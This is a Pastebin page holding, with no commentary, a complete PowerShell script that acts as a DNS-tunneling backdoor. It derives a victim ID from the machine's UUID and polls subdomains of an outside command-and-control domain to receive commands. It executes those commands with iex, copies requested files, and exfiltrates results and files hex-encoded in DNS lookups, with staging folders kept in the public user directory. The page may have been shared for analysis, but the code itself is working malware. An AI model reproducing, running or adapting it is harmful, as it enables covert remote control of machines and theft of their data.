API tools faq
paste
Advertisement
opexxx

B1D621091740E62C84FC8C62BCDAD07873C8B61B83FABA36097EF150FD6EC768

opexxx
Jan 27th, 2021
834
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PowerShell 7.48 KB | None | 0 0
raw download clone embed print report
  1. $CCA = "myleftheart.com";
  2. $DDA = get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID | %{ "atag12" + $_.replace('-','') }| %{$_ + "1234567890"} | %{$_.substring(0,10)}
  3.  
  4. function EEA ($FFA, $GGA, $HHA, $IIA, $JJA)
  5. {
  6.     $KKA = -join ((48 .. 57)+(65 .. 70) | Get-Random  -Count (%{ Get-Random -InputObject (1 .. 7) }) | %{ [char]$_ });
  7.     $LLA = Get-Random -InputObject (0 .. 9) -Count 2;
  8.     $MMA = $DDA.Insert(($LLA[1]), $GGA).Insert($LLA[0], $FFA);
  9.     write-host $DDA;
  10.     if ($JJA -eq "s")
  11.     { return "$($MMA)$($KKA)A$($LLA[0])$($LLA[1])7.$HHA.$IIA.$CCA"; }
  12.     else
  13.     { return "$($MMA)$($KKA)A$($LLA[0])$($LLA[1])7.$($CCA)";}
  14. }
  15. function receive
  16. {
  17.     $NNA = $false;
  18.     $OOA = 0;
  19.     $PPA = ${global:$QQA} + "\";
  20.     $RRA = @();
  21.     $SSA = "000";
  22.     $TTA = "0";
  23.     ${global:$UUA} = $true;
  24.    
  25.     ${global:$exception_countersss} = 0;
  26.     ${global:$exception_count_limitsss} = 2;
  27.    
  28.     While (${global:$UUA})
  29.     {
  30.         if (${global:$exception_countersss} -gt ${global:$exception_count_limitsss}) { break }
  31.         Start-Sleep -m 100;
  32.         if ($OOA -lt 10) { $SSA = "00$($OOA)"; }
  33.         elseif ($OOA -lt 100) { $SSA = "0$($OOA)"; }
  34.         else { $SSA = "$($OOA)"; }
  35.         $VVA = EEA $SSA $TTA "" "" "r"
  36.         try
  37.         {
  38.             Write-Host $VVA;
  39.             $WWA = [System.Net.Dns]::GetHostAddresses($VVA);
  40.             Write-Host $WWA;
  41.         }
  42.         catch [Exception]
  43.         {
  44.             echo $_.Exception.GetType().FullName, $_.Exception.Message; Write-Host "excepton occured!"; ${global:$exception_countersss} = ${global:$exception_countersss} + 1; continue;
  45.         }
  46.        
  47.         if ($WWA -eq $null)
  48.         {
  49.             ${global:$exception_countersss} = ${global:$exception_countersss} + 1;
  50.             continue;
  51.         }
  52.         $XXA = $WWA[0].IPAddressToString.Split('.');
  53.         Write-Host "$($OOA):$($XXA[3])`tsaveing_mode: $($NNA)`t   $($XXA[0]) $($XXA[1]) $($XXA[2])"
  54.        
  55.         if (($XXA[0] -eq 1) -and ($XXA[1] -eq 2) -and ($XXA[2] -eq 3))
  56.         {
  57.             $NNA = $false;
  58.             $TTA = "0";
  59.             $len = $RRA.Length
  60.             if ($RRA[$len-1] -eq 0 -and $RRA[$len-2] -eq 0)
  61.             {
  62.                 $YYA = $RRA[0 .. ($len - 3)];
  63.             }
  64.             elseif ($RRA[$len - 1] -eq 0)
  65.             {
  66.                 $YYA = $RRA[0 .. ($len - 2)];
  67.             }
  68.             else
  69.             {
  70.                 $YYA = $RRA;
  71.             }
  72.             [System.IO.File]::WriteAllBytes($PPA, $YYA);
  73.             $RRA = @();
  74.             $YYA = @();
  75.             $OOA = 0;
  76.             ${global:$UUA} = $false;
  77.         }
  78.        
  79.         if ($NNA)
  80.         {
  81.             if ($OOA -gt 250) { $OOA = 0; }
  82.             if ($OOA -eq $XXA[3])
  83.             {
  84.                 $RRA += $XXA[0];
  85.                 $RRA += $XXA[1];
  86.                 $RRA += $XXA[2];
  87.                 $OOA = $OOA + 3;
  88.             }
  89.         }
  90.        
  91.         if (($XXA[0] -eq 24) -and ($XXA[1] -eq 125))
  92.         {
  93.             $PPA += $XXA[2] + "" + $XXA[3];
  94.             $NNA = $true;
  95.             $TTA = "1";
  96.             $OOA = 0;
  97.         }
  98.        
  99.         if (($XXA[0] -eq 11) -and ($XXA[1] -eq 24) -and ($XXA[2] -eq 237) -and ($XXA[3] -eq 110)) # kill this process
  100.         {
  101.             ${global:$UUA} = $false;
  102.             ${global:$exception_countersss} = ${global:$exception_countersss} + 1;
  103.         }
  104.     }
  105.     Start-Sleep -s 1;
  106. }
  107.  
  108.  
  109.  
  110.  
  111. function send
  112. {
  113.     $OOA = 0;
  114.     $ZZA = @(Get-ChildItem -Path ${global:$AAB} | Where-Object { !$_.PSIsContainer });
  115.     if ($ZZA -ne $null)
  116.     {
  117.         $BBB = ${global:$AAB} + "\" + $ZZA[0];
  118.         $CCB = slaber $BBB;
  119.         if ([int]$CCB.Length -le 0)
  120.         {
  121.             Remove-Item -Path $BBB;
  122.             return;
  123.         }
  124.         $DDB = 60;
  125.         $EEB = "*" * 54;
  126.         $EEB = Split-Path $BBB -Leaf | % { $EEB.Insert(0, $_) } | % { $_.Insert(6, $CCB.Length) } | %{$_[0..26] -join ""};
  127.         $EEB = -join ($EEB | % { resolver $_ })
  128.         $FFB = "bWV0YT" + $EEB;
  129.         $CCB = $FFB + $CCB;
  130.         $GGB = "000";
  131.         $TTA = "2";
  132.         $HHB = 0;
  133.         ${global:$UUA} = $true;
  134.        
  135.         ${global:$exception_countersss} = 0;
  136.         ${global:$exception_count_limitsss} = 2;
  137.        
  138.         While (${global:$UUA})
  139.         {
  140.             if (${global:$exception_countersss} -gt ${global:$exception_count_limitsss}) { break; }
  141.             Start-Sleep -m 100;
  142.             if ($OOA -eq 250) { $OOA = 0; $HHB += 250; }
  143.             if ($OOA -lt 10) { $GGB = "00$($OOA)"; }
  144.             elseif ($OOA -lt 100) { $GGB = "0$($OOA)"; }
  145.             else { $GGB = "$($OOA)"; }
  146.            
  147.             if ($CCB.Length -gt $DDB)
  148.             {
  149.                 if (($CCB.Length - $DDB * ($OOA + $HHB)) -ge $DDB)
  150.                 {
  151.                     $IIB = $CCB.Substring($DDB * ($OOA + $HHB), $DDB);
  152.                 }
  153.                 elseif (($CCB.Length - $DDB * ($OOA + $HHB)) -gt 0)
  154.                 {
  155.                     $IIB = $CCB.Substring($DDB * ($OOA + $HHB), ($CCB.Length - $DDB * ($OOA + $HHB)));
  156.                 }
  157.                 else
  158.                 {
  159.                     $IIB = "bWV0YTZW5k";
  160.                     ${global:$UUA} = $false;
  161.                     Remove-Item -path $BBB -Force;
  162.                 }
  163.             }
  164.             else
  165.             {
  166.                 $IIB = $CCB;
  167.             }
  168.             $JJB = (Split-Path $BBB -Leaf) + "*" | % { resolver $_ };
  169.             $VVA = EEA $GGB $TTA $IIB $JJB "s"
  170.             Write-Host "$($IIB)`t$($VVA)"
  171.             try
  172.             {
  173.                 $WWA = [System.Net.Dns]::GetHostAddresses($VVA);
  174.             }
  175.             catch { Write-Host "excepton occured!"; ${global:$exception_countersss} = ${global:$exception_countersss} + 1; continue; }
  176.            
  177.             if ($WWA -eq $null) { ${global:$exception_countersss} = ${global:$exception_countersss} + 1;continue }
  178.             $XXA = $WWA[0].IPAddressToString.Split('.');
  179.             Write-Host "$($OOA):$($XXA[3])`tsaveing_mode: $($NNA)`t   $($XXA[0]) $($XXA[1]) $($XXA[2])"
  180.            
  181.             if (($XXA[0] -eq 1) -and ($XXA[1] -eq 2) -and ($XXA[2] -eq 3))
  182.             {
  183.                 $OOA = [int]$XXA[3];
  184.             }
  185.            
  186.             if (($XXA[0] -eq 11) -and ($XXA[1] -eq 24) -and ($XXA[2] -eq 237) -and ($XXA[3] -eq 110)) # kill this process
  187.             {
  188.                 $HHB = 0
  189.                 ${global:$UUA} = $false;
  190.                 ${global:$exception_countersss} = ${global:$exception_countersss} + 3;
  191.                 del $BBB;
  192.             }
  193.         }
  194.     }
  195. }
  196. function slaber ($KKB) {
  197.     if ((Get-Item $KKB).length -gt 600kb)
  198.     {
  199.         "result size exceeded the maximum size and it deleted" | Set-Content $KKB;
  200.     }
  201.     $f = Get-Content $KKB -Encoding Byte;
  202.     $e = resolver($f);
  203.     return $e;
  204. }
  205. function resolver ($LLB) {
  206.     $cnt = 0;
  207.     $p1 = "";
  208.     $p2 = "";
  209.     for ($i = 0; $i -lt $LLB.Length; $i++)
  210.     {
  211.         if ($cnt -eq 30)
  212.         {
  213.             $cnt = 0;
  214.             $res += ($p1 + $p2);
  215.             $p1 = ""; $p2 = "";
  216.         }
  217.         $tmp = [System.BitConverter]::ToString($LLB[$i]).Replace("-", "");
  218.         $p1 += $tmp[0];
  219.         $p2 += $tmp[1];
  220.         $cnt++;
  221.     }
  222.     $res += ($p1 + $p2);
  223.     return $res;
  224. }
  225. function processor
  226. {
  227.     $ZZA = @(Get-ChildItem -Path ${global:$QQA} | Where-Object { !$_.PSIsContainer });
  228.     if ($ZZA -ne $null)
  229.     {
  230.         $BBB = ${global:$QQA} + "\" + $ZZA[0];
  231.         $MMB = $BBB -replace "receivebox", "sendbox";
  232.        
  233.         if ($BBB.EndsWith("0"))
  234.         {
  235.             $NNB = Get-Content $BBB | ? { $_.trim() -ne "" };
  236.             $OOB = ${global:$AAB} + "\" + $ZZA[0];
  237.             $NNB = $NNB | ? { $_.trim() -ne "" }
  238.             $PPB += $NNB+"\n";
  239.             $PPB += $NNB.Split("&") | foreach-object { Try { $_ | iex | Out-String } Catch { $_ | Out-String} }
  240.             $PPB +"<>" | Set-Content $OOB -Encoding UTF8
  241.             if (Test-Path -Path $BBB)
  242.             {
  243.                 Remove-Item -path $BBB;
  244.             }
  245.         }
  246.         elseif ($BBB.EndsWith("1"))
  247.         {
  248.             $QQB = Get-Content $BBB | ? { $_.trim() -ne "" } | %{ $_.Replace("`0", "").Trim() }
  249.             if (Test-Path -Path $QQB)
  250.             {
  251.                 $OOB = ${global:$AAB} + "\" + $ZZA[0];
  252.                 Copy-Item -path $QQB -destination $OOB -Force;
  253.             }
  254.             else
  255.             {
  256.                 "File not exist" | Set-Content $MMB;
  257.             }
  258.             if (Test-Path -Path $BBB)
  259.             {
  260.                 Remove-Item -path $BBB;
  261.             }
  262.         }
  263.         elseif ($BBB.EndsWith("2"))
  264.         {
  265.             $RRB = $BBB -replace "receivebox", "done";
  266.             Move-Item -path $BBB -destination $RRB -Force;
  267.             if (Test-Path -Path $RRB)
  268.             {
  269.                 ("200<>" + $RRB) | Set-Content $MMB;
  270.                 Remove-Item -path $BBB;
  271.             }
  272.         }
  273.     }
  274. }
  275.  
  276. ${global:$SSB} = $env:PUBLIC + "\Public\"+ $DDA;
  277. ${global:$QQA} = ${global:$SSB} + "\receivebox";
  278. ${global:$AAB} = ${global:$SSB} + "\sendbox";
  279. ${global:$TTB} = ${global:$SSB} + "\done";
  280. if (-not (Test-Path -Path ${global:$SSB}) -or -not (Test-Path -Path ${global:$AAB}))
  281. {
  282.     md ${global:$SSB};
  283.     md ${global:$AAB};
  284.     md ${global:$QQA};
  285.     md ${global:$TTB};
  286. }
  287. receive;
  288. processor;
  289. send;
  290.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!